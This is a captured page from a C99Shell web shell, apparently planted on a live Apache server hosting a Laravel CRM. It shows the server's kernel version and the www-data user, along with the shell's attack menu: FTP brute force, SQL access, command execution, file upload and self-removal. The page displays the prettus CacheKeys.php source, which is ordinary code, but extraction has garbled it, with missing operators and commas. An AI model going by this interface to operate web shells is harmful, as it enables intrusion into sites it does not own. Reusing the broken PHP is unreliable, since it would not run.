!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/prettus/l5-repository/src/Prettus/Repository/Helpers/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CacheKeys.php (2.44 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Prettus\Repository\Helpers;

/**
 * Class CacheKeys
 * @package Prettus\Repository\Helpers
 * @author Anderson Andrade <contato@andersonandra.de>
 */
class CacheKeys
{

    
/**
     * @var string
     */
    
protected static $storeFile "repository-cache-keys.json";

    
/**
     * @var array
     */
    
protected static $keys null;

    
/**
     * @param $group
     * @param $key
     *
     * @return void
     */
    
public static function putKey($group$key)
    {
        
self::loadKeys();

        
self::$keys[$group] = self::getKeys($group);

        if (!
in_array($keyself::$keys[$group])) {
            
self::$keys[$group][] = $key;
        }

        
self::storeKeys();
    }

    
/**
     * @return array|mixed
     */
    
public static function loadKeys()
    {
        if (!
is_null(self::$keys) && is_array(self::$keys)) {
            return 
self::$keys;
        }

        
$file self::getFileKeys();

        if (!
file_exists($file)) {
            
self::storeKeys();
        }

        
$content file_get_contents($file);
        
self::$keys json_decode($contenttrue);

        return 
self::$keys;
    }

    
/**
     * @return string
     */
    
public static function getFileKeys()
    {
        
$file storage_path("framework/cache/" self::$storeFile);

        return 
$file;
    }

    
/**
     * @return int
     */
    
public static function storeKeys()
    {
        
$file self::getFileKeys();
        
self::$keys is_null(self::$keys) ? [] : self::$keys;
        
$content json_encode(self::$keys);

        return 
file_put_contents($file$content);
    }

    
/**
     * @param $group
     *
     * @return array|mixed
     */
    
public static function getKeys($group)
    {
        
self::loadKeys();
        
self::$keys[$group] = isset(self::$keys[$group]) ? self::$keys[$group] : [];

        return 
self::$keys[$group];
    }

    
/**
     * @param $method
     * @param $parameters
     *
     * @return mixed
     */
    
public static function __callStatic($method$parameters)
    {
        
$instance = new static;

        return 
call_user_func_array([
            
$instance,
            
$method
        
], $parameters);
    }

    
/**
     * @param $method
     * @param $parameters
     *
     * @return mixed
     */
    
public function __call($method$parameters)
    {
        
$instance = new static;

        return 
call_user_func_array([
            
$instance,
            
$method
        
], $parameters);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--